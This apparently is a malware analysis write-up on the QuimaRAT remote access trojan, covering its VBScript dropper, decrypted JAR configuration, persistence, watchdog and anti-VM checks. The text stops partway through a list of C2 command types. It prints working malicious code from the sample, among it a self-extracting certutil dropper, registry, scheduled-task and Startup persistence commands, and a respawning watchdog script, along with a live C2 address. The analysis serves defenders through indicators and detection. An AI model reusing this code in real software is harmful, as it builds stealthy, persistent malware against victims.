QuimaRAT Overview

QuimaRAT is an emerging Java-based Remote Access Trojan (RAT) that is currently circulating under a Malware-as-a-Service (MaaS) model, with its popularity owing in part to its framework’s capability of targeting Windows, Linux, and MacOS devices. Its ability to target nearly every computing system in existence lies in its modular architecture that allows operators to dynamically expand functionality on the fly via encrypted plugins dropped from its underlying command and control (C2) infrastructure. Intel471 wrote up a quick synopsis of this RAT here, while LevelBlue has a much more in depth article here for more detailed analysis. While initial reporting on QuimaRAT describes it as a powerful, modular RAT tool, the analysis contained in this article proves it to be much more: QuimaRAT is essentially a complete attack framework with capabilities spanning the entire kill chain. Following the analysis of this RAT, this article provides a full list of host- and network-based indicators, full MITRE ATT&CK mapping, and a sample KQL detection query for identifying potential QuimaRAT behavior in an environment. You can use the table of contents above to more easily navigate to sections of interest.

The Initial VBScript Dropper

To begin, the sample analyzed here has a SHA256 hash b60bf8c65bfee063e53cb392d5c8c62e63a5bd08cc4ea9494d35cafec918e372 and was found under the filename ssa_document.vbs. We will see the importance of this filename shortly. Being written in VBScript the dropper file was easily analyzed and upon opening, immediate red flags popped out suggesting malicious behavior: functions and subroutines named CleanB64, B64Decode, WriteBytes, XorFileHex, ExtractPayload, InstallJre, and more - all of which provide a pretty good picture of some expected behavior for this dropper in mere seconds. The main script logic covers roughly 235 lines, at which the payload, which we’ll cover shortly, begins: a massive block of base64-encoded data commented out with single quotes ', filling just under 68,000 total lines in the dropper file. This payload block ends up being base64-encoded bytes for the next stage, a JAR file, which we’ll get to momentarily. But first, let’s now take a look at the 2 most interesting subroutines: ExtractPayload and InstallJre. We’ll get our bearings first on both, then break them down.

ExtractPayload

Sub ExtractPayload(fso, src, marker, dest, enc, key)
  Dim sh, t, b64Out, line, found, tmpB64, tmpBin, st, bytes
  Set sh = CreateObject("WScript.Shell")
  tmpB64 = fso.GetSpecialFolder(2) & "\" & fso.GetTempName()
  tmpBin = fso.GetSpecialFolder(2) & "\" & fso.GetTempName()
  Set b64Out = fso.CreateTextFile(tmpB64, True)
  b64Out.WriteLine "-----BEGIN CERTIFICATE-----"
  found = False
  Set t = fso.OpenTextFile(src, 1)
  Do While Not t.AtEndOfStream
    line = t.ReadLine
    If Not found Then
      If line = marker Then found = True
    Else
      If Left(line, 2) = "::" Then
        b64Out.WriteLine Mid(line, 3)
      ElseIf Left(line, 1) = "'" Then
        b64Out.WriteLine Mid(line, 2)
      End If
    End If
  Loop
  t.Close
  If Not found Then
    b64Out.Close: fso.DeleteFile tmpB64, True
    Exit Sub
  End If
  b64Out.WriteLine "-----END CERTIFICATE-----"
  b64Out.Close
  sh.Run "%ComSpec% /c certutil -f -decode """ & tmpB64 & """ """ & tmpBin & """ >nul 2>&1", 0, True
  If Not fso.FileExists(tmpBin) Then Exit Sub
  If enc Then
    XorFileHex fso, sh, tmpBin, dest, key
  Else
    Set st = CreateObject("ADODB.Stream")
    st.Type = 1: st.Open: st.LoadFromFile tmpBin
    bytes = st.Read: st.Close
    WriteBytes dest, bytes
  End If
  On Error Resume Next
  fso.DeleteFile tmpB64, True
  fso.DeleteFile tmpBin, True
  On Error GoTo 0
End Sub

For our purposes, the most important aspects of this ExtractPayload subroutine include the subroutine parameters it accepts named marker, dest and enc, as well as the short logic blocks that utilize these variables in the subroutine logic itself:

Do While Not t.AtEndOfStream
    line = t.ReadLine
    If Not found Then
      If line = marker Then found = True
    Else
      If Left(line, 2) = "::" Then
        b64Out.WriteLine Mid(line, 3)
      ElseIf Left(line, 1) = "'" Then
        b64Out.WriteLine Mid(line, 2)
      End If
    End If
  Loop

Note in this code block that the script reads itself after opening itself as the variable t, and iterates line by line until the marker is found, sets the found variable to true and then switches to the Else statement, storing each line of base64-encoded data in a randomly-named .tmp file created earlier in the subroutine via tmpB64 = fso.GetSpecialFolder(2) & "\" & fso.GetTempName(). Certutil is then used following the complete base64 data write to convert the base64-encoded data in tmpB64 to raw bytes in the tmpBin file - the file that now contains the actual payload data, another randomly-named .tmp file. We’ll now quickly look at the next core logic block:

  If enc Then
    XorFileHex fso, sh, tmpBin, dest, key
  Else
    Set st = CreateObject("ADODB.Stream")
    st.Type = 1: st.Open: st.LoadFromFile tmpBin
    bytes = st.Read: st.Close
    WriteBytes dest, bytes
  End If

If the enc variable passed to ExtractPayload is true, it performs a simple repeating-key XOR cipher to decrypt the data. However, this block never executes because as we will see in the logic shortly, ExtractPayload does not get passed encoded data, at least in this sample. Instead, the Else block executes, essentially reading the bytes from tmpBin and writing them to dest which, as we again will see momentarily, is the ultimate next stage of this payload.

InstallJre

Sub InstallJre(fso, appDir, jreDir, urls)
  Dim zip, ext, ok, u, inner, f
  zip = appDir & "\jre_download.zip"
  ext = appDir & "\jre_extract"
  ok = False
  For Each u In urls
    If HttpSave(u, zip) Then
      If fso.FileExists(zip) Then
        If fso.GetFile(zip).Size > 1048576 Then
          ok = True
          Exit For
        End If
      End If
    End If
    If fso.FileExists(zip) Then fso.DeleteFile zip, True
  Next
  If Not ok Then Exit Sub
  If fso.FolderExists(ext) Then fso.DeleteFolder ext, True
  fso.CreateFolder ext
  UnzipTo zip, ext
  WScript.Sleep 3000
  If fso.FileExists(zip) Then fso.DeleteFile zip, True
  Set inner = Nothing
  For Each f In fso.GetFolder(ext).SubFolders
    Set inner = f
    Exit For
  Next
  If Not inner Is Nothing Then
    If fso.FolderExists(jreDir) Then fso.DeleteFolder jreDir, True
    fso.MoveFolder inner.Path, jreDir
  End If
  If fso.FolderExists(ext) Then fso.DeleteFolder ext, True
End Sub

The InstallJre subroutine provides the structure for this dropper to reach out and grab a standalone Java runtime (JRE) if it does not already exist on the target host. Notably, this contains a couple hardcoded IoCs pertaining to both the .zip file the file places the remotely-grabbed binary in, as well as the parent folder it gets subsequently extracted to: jre_download.zip and jre_extract.

With the main setup out of the way, the script execution is really quite simple, and outlined below. All that is excluded with the first [SNIP] is version checking on the currently installed java binary, if installed, to ensure it falls within the acceptable versions needed by this dropper. The second [SNIP] trims the payload data which, as mentioned, proceeds for the rest of the script to nearly 68,000 lines.

Core Script Execution Logic

Dim o66fbbe, o3b6567, appDir, jreDir, javaBin, tempDir, jarPath
Dim foundJava, sOut, arrLines, ln, p1, p2, ver, pts, maj, mn, jvExec, ret
Set o66fbbe = CreateObject("WScript.Shell")
Set o3b6567 = CreateObject("Scripting.FileSystemObject")
appDir = o66fbbe.ExpandEnvironmentStrings("%LOCALAPPDATA%") & "\.ssadocument"
If Not o3b6567.FolderExists(appDir) Then o3b6567.CreateFolder appDir
jreDir = appDir & "\jre"
javaBin = jreDir & "\bin\javaw.exe"
tempDir = o3b6567.GetSpecialFolder(2).Path & "\~" & o3b6567.GetTempName()
o3b6567.CreateFolder tempDir
jarPath = tempDir & "\r.jar"

Call ExtractPayload(o3b6567, WScript.ScriptFullName, "'__PAYLOAD__", jarPath, false, "")
If Not o3b6567.FileExists(jarPath) Then
    o3b6567.DeleteFolder tempDir, True
    WScript.Quit 1
End If
foundJava = ""

. . . [SNIP] . . .

If foundJava = "" Then
    Dim urls: urls = Array("https://api.adoptium.net/v3/binary/latest/17/ga/windows/x64/jre/hotspot/normal/eclipse","https://cdn.azul.com/zulu/bin/zulu17.54.21-ca-jre17.0.13-win_x64.zip","https://corretto.aws/downloads/latest/amazon-corretto-17-x64-windows-jre.zip")
    Call InstallJre(o3b6567, appDir, jreDir, urls)
    If o3b6567.FileExists(javaBin) Then foundJava = javaBin
End If
If foundJava = "" Then
    o3b6567.DeleteFolder tempDir, True
    WScript.Quit 1
End If
o66fbbe.Run """" & foundJava & """ -Xmx256m -jar """ & jarPath & """", 0, False
WScript.Quit 0
' xHWX5Ar6JQh6 NUIn onHxNADV Ykxgse9uNu3
' gv8WUzU tGwavKpFfu ya6DinLraoSe qLK fjffDFHc UMsYtoz7b iTcxigJ U2Uap3zsN4j
' E7m0FoVwihG YakGH8T 0g08ss8JXfs1 IlGV7kiM IV21WKysN
'__PAYLOAD__
'UEsDBBQACAgIAMKd6FwAAAAAAAAAAAAAAAAUAAAATUVUQS1JTkYvTUFOSUZFU1QuTUY9j81ygjAY
'RffM8A68QBiQBAxLaEfFpiow4HQXyQdNA+gkOP48fXHR7u+cew7jo2zBTKgCbeR5jB3f9Wwr1cAn
'ECh5xM45iQz52lbg602t11JN9/ObPHgn3XV5SYK8rFe2lVxlL1AmFCou0MyYyLYYlyNKe27MTNGd
'K++KeE9X96FwJzW6N82Fsq0jSneMvX+WsUNombViP10ZUWH+oUEdH+tvnNVBNRR7Y7rgcJsM/P9t

. . . [SNIP] . . .

As can be seen the main execution logic of this dropper script contains more useful IoC data that defenders can hunt on. To begin, we note the expansion of the %LOCALAPPDATA% environment variable to create the hidden great-grandparent directory for the java binary named .ssadocument, with the full path for the binary becoming C:\Users\<username>\AppData\Local\.ssadocument\jre\bin\javaw.exe. This is an abnormal directory for the legitimate javaw.exe binary to be placed in, and any detection of this folder path existing should be considered evidence of execution of this specific dropper on the affected device. Likewise, the malicious JAR file ends up in the file path C:\Users\<username>\AppData\Local\Temp\~<randomValue>\r.jar, saved as the jarPath variable. Another indicator of compromise if seen on an endpoint. Skipping over the ExtractPayload call for just a brief moment, we can note three more hardcoded IoCs in this sample - the JRE CDN endpoints api.adoptium.net, cdn.azul.com, and corretto.aws. Defenders should monitor for web requests to these endpoints spawned by wscript.exe and writing data to the aforementioned files and folder paths.

We now turn our attention back to the ExtractPayload subroutine call. As a reminder, this subroutine was declared to accept the following parameters: Sub ExtractPayload(fso, src, marker, dest, enc, key). Noting the parameters highlighted earlier, marker = '__PAYLOAD__, jarPath is the path of the malicious r.jar file highlighted in the previous paragraph, and somewhat oddly, enc == false, so the XOR decryption routine declared earlier in this script actually never gets used in this particular sample. In short, the ExtractPayload call now base64 decodes the complete encoded payload beginning with the line __PAYLOAD__, and writes all of the decoded data to the r.jar file previously identified. Those who have worked with previous encoded archive files will be quick to note the base64-encoded data beginning with UEs, which decodes to the value PK, the beginning magic bytes that identify .zip archives (which is all a .jar file is) in recognition of their creator, Phil Katz. We can safely extract the payload from this VBScript dropper by creating a short PowerShell script that pulls each line of base64-encoded data, decodes it, and writes the raw bytes to an output file we’ll call payload.jar. Given that this dropper finishes its work by executing this newly dropped .jar file, we’ll now turn our attention there.

PowerShell Script:

$src = "dropper.vbs"; $out = "payload.jar"; $marker = "'__PAYLOAD__"
$found = $false
$b64 = [System.Text.StringBuilder]::new()
foreach ($line in Get-Content $src) {
    if (-not $found) { if ($line -eq $marker) { $found = $true }; continue }
    if ($line.StartsWith("'")) { [void]$b64.Append($line.Substring(1)) }
}
[IO.File]::WriteAllBytes($out, [Convert]::FromBase64String($b64.ToString()))

Digging Into the JAR Payload

After extracting the contents of the .jar file to a folder we called payload, we first note the MANIFEST.MF file which immediately tells us a wealth of information about this code:

Manifest-Version: 1.0
Created-By: oB7s5ZKVe1rIWrHiktxoDiQ0brggRT53RTWG
Build-Jdk-Spec: 17
Main-Class: org.ixk50z.rl6d.tkn.wradk
X-COMMENT: 59TJfdPtuM5k6RLrekXyHh4JW3VmSPssg3QwtseG
Build-Id: ed447756-af45-4496-945e-437f4c6b0c91
Build-Timestamp: 1783565120950
X-Seed: 924e8JGMJOR475CjKBfJ4iz

The lines Created-By: oB7s5ZKVe1rIWrHiktxoDiQ0brggRT53RTWG, X-COMMENT: 59TJfdPtuM5k6RLrekXyHh4JW3VmSPssg3QwtseG, and X-Seed: 924e8JGMJOR475CjKBfJ4iz are all evidence of a name-mangler-like tool being used, such as Allatori or ProGuard. Even more useful to us is the random package/class chain: Main-Class: org.ixk50z.rl6d.tkn.wradk, which tells us further code obfuscation is at play in this second stage of the payload as well. The build timestamp 1783565120950 decodes from Epoch time to Thursday, July 9th, 2026 18:45:20 UTC, confirming that this sample is fresh. The config.dat file is known to contain a wealth of hardcoded information such as C2 hosts/ports, campaign IDs, encryption keys, install options, and more, however attempting to view this file reveals it is encrypted, so we’ll table it for now and come back to it in a bit.

To further inspect individual classes, we now decompile the payload.jar file back into human-readable Java source code by use of the Class File Reader (CFR.jar) tool into a new folder we call src:

java -jar cfr-0.152.jar payload.jar --outputdir src

To try to identify where the config.dat file is used in the actual Java source code, we can navigate into our newly decompiled src directory and use some simple PowerShell regex to look for it:

Get-ChildItem -Recurse | Select-String -Pattern "config\.dat"

org\ixk50z\rl6d\uxers.java:70:        try (InputStream inputStream = uxers.class.getResourceAsStream("/config.dat");){

With org\ixk50z\rl6d\uxers.java identified as our file of interest that does the decrypting of config.dat, we open it up and notice that it contains a function named load(), highly likely to be the config parser: Not only does it call a decryption function xorTransform, but it also contains a wealth of variable names most likely to store decrypted variables in config.dat:

Code block surrounding xorTransform:

int n;
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byte[] byArray = new byte[4096];
while ((n = inputStream.read(byArray)) != -1) {
    byteArrayOutputStream.write(byArray, 0, n);
}
byte[] byArray2 = byteArrayOutputStream.toByteArray();
byte[] byArray3 = uxers.xorTransform(byArray2);
String string = new String(byArray3, StandardCharsets.UTF_8);
JsonObject jsonObject = JsonParser.parseString(string).getAsJsonObject();

Variable names further declared in this function: HOSTS, SERVER_ID, INSTALL_START, INSTALL_COM_HIJACK, ANTI_VM, ENABLE_WATCHDOG, FILE_NAME, SPOOF_JA3, DOH_DOMAIN, CERT_HASH, PASTEBIN_URL and more. Before we even get to decrypting the config.dat file, these variable names alone provide insight into the rich modern feature set this RAT carries with it: DNS over HTTPS (DoH) for stealth and defense evasion, Anti-VM detections to prevent forensics, and JA3 fingerprint spoofing for further defense evasion.

Pivoting to identify the xorTransform function, we find it declared in the same uxers.java file near the end of the code. It is a simple Repeating-Key XOR Cipher as evidenced by iterating over the length of the byte array, and rotating through each individual byte value of the key defined simply as a. As a quick aside before we carry on to decrypting config.dat, it is noteworthy to call out that nearly every single function declared in each Java file in this sample contains the same obfuscation junk code as seen at the top of the below function declaration. We see the if block performing some basic arithmetic resulting in the boolean value of false, followed by an empty logic block. This is a type of code obfuscation known as an Opaque Predicate - a conditional statement used to inject junk code control flow to make automated analysis and signature matching more difficult. In this sample, every single function declaration begins with such an opaque predicate, each of which always evaluates to false (via some form of two positive, random integers multiplied against each other and evaluated as being <= 0) so, even if the junk if statement contained code, it would never execute.

public static byte[] xorTransform(byte[] byArray) {
    if (77 * 103 <= 0) {
    }
    byte[] byArray2 = new byte[byArray.length];
    for (int i = 0; i < byArray.length; ++i) {
        byArray2[i] = (byte)(byArray[i] ^ a[i % a.length]);
    }
    return byArray2;
}

Now that we’ve identified the variable named a as being the XOR key necessary to perform the XOR decryption above, we find its declaration in the code and can now finally decrypt config.dat.

XOR decryption key:

public static final byte[] a = new byte[]{-59, -30, 127, 24, 22, 14, 30, 29, 83, -3};

Simple Python XOR decryptor pointed at config.dat, noting that Java bytes are signed so the negatives must be converted to unsigned values:

key = bytes([0xC5, 0xE2, 0x7F, 0x18, 0x16, 0x0E, 0x1E, 0x1D, 0x53, 0xFD])
data = open("config.dat", "rb").read()
out = bytes(data[i] ^ key[i % len(key)] for i in range(len(data)))
open("config.json", "wb").write(out)
print(out.decode("utf-8", "replace"))

Final decrypted config.dat:

{
    "targetOs": "windows",
    "hosts": [
        {
            "ip": "147.124.222.192",
            "port": 4445,
            "transport": "SSL"
        },
        {
            "ip": "147.124.222.192",
            "port": 443,
            "transport": "WEBSOCKET"
        }
    ],
    "serverId": "CLIENT",
    "delay": 2,
    "installReg": true,
    "installSch": false,
    "installStart": false,
    "installComHijack": false,
    "installPersist": true,
    "antiVm": false,
    "enableWatchdog": true,
    "throttleTraffic": false,
    "spoofJa3": false,
    "manifestCreatedBy": "oB7s5ZKVe1rIWrHiktxoDiQ0brggRT53RTWG",
    "manifestComment": "59TJfdPtuM5k6RLrekXyHh4JW3VmSPssg3QwtseG",
    "fileName": "ssa_document.lib",
    "folder": "SlackData",
    "regName": "WindowsPatch",
    "pluginBaseHash": "32e0ac6473bfa854f777bdca6be1b2282ebaff7379ae256756cbb113b5525efa",
    "certHash": "f1c55b6ab06cce7d2adf5e3dcb544af3827c0dfdebde2c3ad702c1c5ca2c36ec"
}

config.dat IoC table:

IndicatorTypeComments
147.124.222.192C2Hardcoded, dual-channel C2 address. Block & hunt.
installReg & installPersistPersistenceHighly suggestive of registry Run key creation. Hunt registry run key creation.
regName: WindowsPatchFile creationUsed for file creation & persistencel examples shown below in article. Can be modified by actor; low fidelity on pyramid of pain. Hunt folder path.
folder: SlackDataFolder creationfolder variable in config file. Can be modified by actor; low fidelity on pyramid of pain. Hunt folder path.
ssa_document.libFile creationLikely lands in %AppData%\SlackData\ssa_document.lib. Can be modified by actor; low fidelity on pyramid of pain. Hunt file name.
certHash: f1c55b6ab06cce7d2adf5e3dcb544af3827c0dfdebde2c3ad702c1c5ca2c36ecC2Pinned C2 TLS cert. Network IoC.
pluginBaseHash: 32e0ac6473bfa854f777bdca6be1b2282ebaff7379ae256756cbb113b5525efaPlugin FeatureSuggestive of a plugin system for added functionality. Plugins likely fetched from C2 as remote JARs.

Now that we have config.dat decrypted, we can turn our attention to the actual Java files in this JAR payload.

Core Java Payload Files

wickrrkm.java

We’ll begin by looking at the file wickrrkm.java in the path \src\org\ixk50z\rl6d\xmju\wickrrkm.java. We chose this file first by running some recursive regex on the src parent folder looking for Runtime.getRuntime().exec, a Java shell execution command that we’d expect to see in some of the files carrying the bulk of the malicious workload. Viewing this file, we indeed see numerous instances of this shell execution being performed on some further encoded commands. This time, the authors chose to obfuscate their code to prevent against static string analysis by hiding individual characters behind some basic arithmetic, with the code dynamically building its commands at runtime by evaluating decimal values to determine individual ASCII characters, and appending those individual characters into the full command text. One such example of this can be seen in the declaration of the function g():

public static void g() {
  String string;
  if (63 * 105 <= 0) {
  }
  try {
      Runtime.getRuntime().exec(new String[]{new StringBuffer().append((char)(297 - 198)).append((char)(310 - 201)).append((char)(304 - 204)).append((char)(253 - 207)).append((char)(311 - 210)).append((char)(333 - 213)).append((char)(317 - 216)).toString(), String.valueOf(new char[]{(char)(241 - 194), (char)(296 - 197)}), String.valueOf(new char[]{(char)(251 - 132), (char)(244 - 135), (char)(243 - 138), (char)(240 - 141), (char)(176 - 144), (char)(259 - 147), (char)(264 - 150), (char)(264 - 153), (char)(255 - 156), (char)(260 - 159), (char)(277 - 162), (char)(280 - 165), (char)(200 - 168), (char)(290 - 171), (char)(278 - 174), (char)(278 - 177), (char)(294 - 180), (char)(284 - 183), (char)(218 - 186), (char)(223 - 189), (char)(270 - 192), (char)(292 - 195), (char)(307 - 198), (char)(302 - 201), (char)(265 - 204), (char)(246 - 207), (char)(329 - 210), (char)(328 - 213), (char)(315 - 216), (char)(333 - 219),
. . . [SNIP] . . .

Two methods are used to perform this dynamic runtime compilation: append() and appendCodePoint(). We can defeat this obfuscation easily by making use of a Python script to parse the code and return the cleartext decoded strings. I’ve made the Python script that I created for this task available on my deobfuscation tooling GitHub repo here. After parsing with the Python script, the above obfuscated block (we’ll add the entire try{} block here, which was truncated above) decodes to:

public static void g() {
  String string;
  try {
      Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", "wmic process where \"Name='wscript.exe' AND CommandLine LIKE '%sys_wd.vbs%'\" call terminate >nul 2>&1"}).waitFor();
  }

The above decoded command appears to be performing some cleanup on a file called sys_wd.vbs executed with wscript.exe. So far, the only VBScript filename we’ve identified has been ssa_document.vbs - the name of the dropper - so this filename is new at this point. That being said, it’s worth noting that we can recall the config.dat file above containing a line named enableWatchdog set to true - the ‘wd’ in sys_wd.vbs could be referring to watchdog functionality of the payload. Noting this for later, we can see 2 similar instances of termination attempts for this process in other areas of the code:

try {
    Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", "taskkill /F /IM wscript.exe /FI \"COMMANDLINE LIKE %%sys_wd.vbs%%\" >nul 2>&1"}).waitFor();
}

. . . [SNIP] . . .

try {
    string = "Get-CimInstance Win32_Process -Filter \"Name='wscript.exe'\" | Where-Object { $_.CommandLine -like '*sys_wd.vbs*' } | ForEach-Object { Stop-Process -Id $_.ProcessId -Force -ErrorAction SilentlyContinue }";
    String string2 = Base64.getEncoder().encodeToString(string.getBytes(StandardCharsets.UTF_16LE));
    new ProcessBuilder("powershell.exe", "-nop", "-ep", "bypass", "-w", "hidden", "-EncodedCommand", string2).start().waitFor();
}

To prevent this from turning into a novel, we’re going to speed up a bit now and only highlight other useful activity and indicators performed by this payload. Sticking with wickrrkm.java still, we also observe:

Windows persistence via a somewhat unique registry key UserInitMprLogonScript (file2 = sys_wd.vbs):

try {
  object = Runtime.getRuntime().exec(new String[]{"reg", "add", "HKCU\\Environment", "/v", "UserInitMprLogonScript", "/t", "REG_SZ", "/d", "wscript.exe //B //Nologo \"" + file2.getAbsolutePath() + "\"", "/f"});
  ((Process)object).waitFor();
}

Drops a VBS watchdog (as suspected earlier) to %APPDATA%\Microsoft\Windows\Templates\sys_wd.vbs and drops a watchdog stopping mechanism called .wd_stop:

if ((string2 = System.getenv("APPDATA")) == null) {
    string2 = System.getProperty("java.io.tmpdir");
}
if (!(file = new File(string2, "Microsoft\\Windows\\Templates")).exists()) {
    file.mkdirs();
}
File file2 = new File(file, "sys_wd.vbs");
String string3 = qjvyazwzp.b();
String string4 = new File(string).getName();
String string5 = file.getAbsolutePath() + "\\.wd_stop";
String string6 = "Set objWMI = GetObject(\"winmgmts:\\\\.\\root\\cimv2\")\nSet objShell = CreateObject(\"WScript.Shell\")\nSet objFSO = CreateObject(\"Scripting.FileSystemObject\")\ntargetFile = LCase(\"" + string4 + "\")\ntargetExe = \"" + string + "\"\njavaExe = \"" + string3 + "\"\nkillSwitch = \"" + string5 + "\"\n\nFunction IsTargetAlive()\n    IsTargetAlive = False\n    Set procs = objWMI.ExecQuery(\"Select ProcessID, CommandLine From Win32_Process\")\n    For Each p In procs\n        If Not IsNull(p.CommandLine) Then\n            If InStr(1, LCase(p.CommandLine), targetFile, 1) > 0 Then\n                IsTargetAlive = True\n                Exit For\n            End If\n        End If\n    Next\nEnd Function\n\nDo\n    If objFSO.FileExists(killSwitch) Then\n        WScript.Quit\n    End If\n    WScript.Sleep 15000\n    If objFSO.FileExists(killSwitch) Then\n        WScript.Quit\n    End If\n    If Not IsTargetAlive() Then\n        ext4 = LCase(Right(targetExe, 4))\n        If ext4 = \".exe\" Or ext4 = \".bat\" Or ext4 = \".cmd\" Then\n            objShell.Run Chr(34) & targetExe & Chr(34), 0, False\n        ElseIf ext4 = \".vbs\" Then\n            objShell.Run \"wscript.exe //B //Nologo \" & Chr(34) & targetExe & Chr(34), 0, False\n        Else\n            objShell.Run Chr(34) & javaExe & Chr(34) & \" -jar \" & Chr(34) & targetExe & Chr(34), 0, False\n        End If\n        WScript.Sleep 10000\n    End If\nLoop\n";
Files.write(file2.toPath(), string6.getBytes("UTF-8"), StandardOpenOption.CREATE, StandardOpenOption.TRUNCATE_EXISTING);

In plain language, we have now confirmed that sys_wd.vbs is the watchdog, and .wd_stop is the coordination mechanism to help the payload determine that, if the process is found to not be running, whether the process ending was intentional by the code, or if the process terminated unexpectedly. If it terminated unexpectedly, no .wd_stop exists, and the payload will spin the watchdog back up. However if .wd_stop does exist and the process has exited, the code knows this was intentional, and does not respawn the watchdog process.

qjvyazwzp.java

In the previous wickrrkm.java file, we saw references to another file - \src\org\ixk50z\rl6d\jg\qjvyazwzp.java. We’ll go ahead and dig into this next. Opening it reveals it has been obfuscated with the same append() and appendCodePoint() methods as previously, so we’ll first clean it up with the Python script used above. Once cleaned, we open it up and find we are dealing with some further obfuscation leveraging fixed-key XOR encryption against the hardcoded key 0x37:

public static String a(int ... nArray) {
    char[] cArray = new char[nArray.length];
    for (int i = 0; i < nArray.length; ++i) {
        cArray[i] = (char)(nArray[i] ^ 0x37);
    }
    return new String(cArray);
}

Upon decryption, we are met with a handful of further persistence mechanisms employed by the payload: a run key addition, a scheduled task creation, and Startup folder addition. First, recall the regName value in config.dat being WindowsPatch. The b() method pulls this and drops it to all lowercase to be used in the future method calls. While there is more to this method below, it essentially all deals with helping the payload find the proper java.exe or javaw.exe binary for code execution:

public static String b() {
  File file;
  Object object;
  String string = uxers.REG_NAME.toLowerCase().replaceAll("[^a-z0-9]", "");
  String string2 = System.getenv("LOCALAPPDATA");
  String string3 = "javaw" + (".exe");
  String string4 = "java.exe";
  if (string2 != null) {
    object = new File(string2, "." + string + File.separator + "jre" + File.separator + "bin" + File.separator + string3);

. . . [SNIP] . . .        

Worth noting, the above code blocks actually refine the earlier install path we uncovered via the hardcoded value of .ssadocument in the original VBScript dropper file. We can now see that we can expect to see the java/javaw binary existing in the path \%LOCALAPPDATA%\.windowspatch\jre\bin\javaw.exe. This is yet another folder path to hunt in the environment.

Additional persistence mechanisms:

public static void b(String string, String string2) throws Exception {
    String string3 = "reg add" + " " + "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" + " " + "/v" + " \"" + string2 + "\" " + "/t" + " " + "REG_SZ" + " " + "/d" + " \"\\\"" + qjvyazwzp.b() + ("\\\" ") + "-Xmx128m" + " " + "-jar" + " \\\"" + string + ("\\\"\" ") + "/f";
    bnzkl.a(new String[]{"cmd.exe", "/c", string3});
}

public static void c(String string, String string2) throws Exception {
    String string3 = qjvyazwzp.b();
    String string4 = "$a = New-ScheduledTaskAction -Execute '\"" + string3 + "\"' -Argument '" + "-Xmx128m" + " " + "-jar" + " \"\"" + string + "\"\"';$t = New-ScheduledTaskTrigger -AtLogOn -User $env:USERNAME;$s = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0;" + "Register-ScheduledTask" + " -TaskName '" + string2 + "' -Action $a -Trigger $t -Settings $s -Force";
    bnzkl.a(new String[]{"powershell.exe", "-WindowStyle", "Hidden", "-Command", string4});
}

public static void d(String string, String string2) throws Exception {
    String string3 = System.getenv("APPDATA") + "\\" + "Microsoft" + "\\" + "Windows" + "\\" + "Start Menu\\Programs\\Startup";
    new File(string3).mkdirs();
    String string4 = "@echo off\r\nstart \"\" /min \"" + qjvyazwzp.b() + "\" -jar \"" + string + "\"\r\n";
    Files.write(new File(string3, string2 + ".bat").toPath(), string4.getBytes(StandardCharsets.UTF_8), new OpenOption[0]);
}

A complete cleanup method also exists in this part of the payload under the e() method. The below top portion of the method can be seen removing the previously covered persistence mechanism artifacts. Additionally, the complete method body points to a handful of additional useful indicators not yet seen in the code.

public static void e() throws Exception {
    File file;
    bnzkl.a(new String[]{"reg", "delete", "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", "/v", uxers.REG_NAME, "/f"});
    bnzkl.a(new String[]{"reg", "delete", "HKCU\\Environment", "/v", "UserInitMprLogonScript", "/f"});
    bnzkl.a(new String[]{"schtasks", "/delete", "/tn", uxers.REG_NAME, "/f"});
    String string = System.getenv("APPDATA") + "\\" + "Microsoft" + "\\" + "Windows" + "\\" + "Start Menu\\Programs\\Startup";
    Files.deleteIfExists(Paths.get(string, uxers.REG_NAME + (".bat")));
    Files.deleteIfExists(Paths.get(string, uxers.REG_NAME + ".lnk"));

. . . [SNIP] . . .

Additional new indicators: %APPDATA%\.cache\plugins, a cache where the modular components of the RAT are stored, %LOCALAPPDATA%\Microsoft\Windows\Caches\plg, a secondary plugin cache, %APPDATA%\QuimaLogs\ and %APPDATA%\QuimaLogs\.offline_enabled, a data exfil queue, which serves to also store data for exfil in the event the C2 server cannot be reached by the RAT.

The RAT also performs anti-forensics and anti-VM checks. Inside the j() method, the code checks for any number of processes, including but not limited to the following:

  1. VM guest tool processes: vboxservice/vboxtray, vmtoolsd/vmwaretray/vmwareuser, vmuservc/vmsrvc, qemu-ga
  2. Analysis tool processes: wireshark, fiddler, dumpcap, processhacker, procmon, procexp, autoruns, ollydbg, x64dbg, x32dbg, importrec, petools, lordpe, cuckoomon.dll
  3. VM registry keys: VirtualBox Guest Additions key, VMware Tools key, VBOx__ ACPI DSDT artifact
  4. VM driver / directory files: VBoxMouse.sys, VBoxGuest.sys, vmhgfs.sys, vmmouse.sys, and the Guest Additions / VMware Tools install directories under ProgramFiles
  5. Sandbox naming heuristics: sandbox, malware, virus, sample, maltest, currentuser, or computer names starting with sandbox or malware.

C2 Dispatcher & Full RAT Capabilities

Up until this point, we’ve uncovered the ways the RAT presents itself to the victim filesystem: from the initial dropper to the JAR payload, persistence mechanisms, watchdog behavior, and cleanup. We’ve dug out a good number of IoCs and behavioral detection opportunities. It’s time to identify what this RAT can actually do once it lands on the filesystem and - spoiler alert - it’s pretty thorough. We begin by grepping the entire payload directory recursively for channelRead0, which is the signature method of SimpleChannelInboundHandler, Netty’s (the underlying network IO toolset for this RAT) base class for the terminal handler that consumes messages. We see this implemented in the src\org\ixk50z\rl6d\xfrzokkry.java file which, upon inspection, delegates everything to a separate file, src\org\ixk50z\rl6d\oqpfv.java which handles the real C2 dispatching. From here, we pivot to the file org\svcruntime\core\protocol\Packet.java containing the packet/command structure, which lists a PacketType type as the command/opcode field. Finally, we land on the file org\svcruntime\core\protocol\PacketType.java to view the full functionality of this RAT. I hope you’re sitting down for this next part.

Calling this sample piece of malware a RAT is, in retrospect, a horrible understatement. A better term would be a full offensive framework with a baked in C2 protocol. In total, PacketType.java contains 255 packet types spanning a whopping 14 categories. Below you will find some select examples of what QuimaRAT is capable of:

  1. Session management: HANDSHAKE, HEARTBEAT, DISCONNECT, RECONNECT, CLIENT_RESTART, CLIENT_UPDATE
  2. File system: FILE_CHUNK_*, FILE_UPLOAD_CHUNK_*, FILE_RESUME_CHECK, FILE_ENCRYPT/DECRYPT (ransomware-adjacent capability), FILE_HIDE/SHOW, FILE_DEFENDER_EXCLUDE/REMOVE_EXCLUDE (directly manipulate Windows Defender exclusions from the C2)
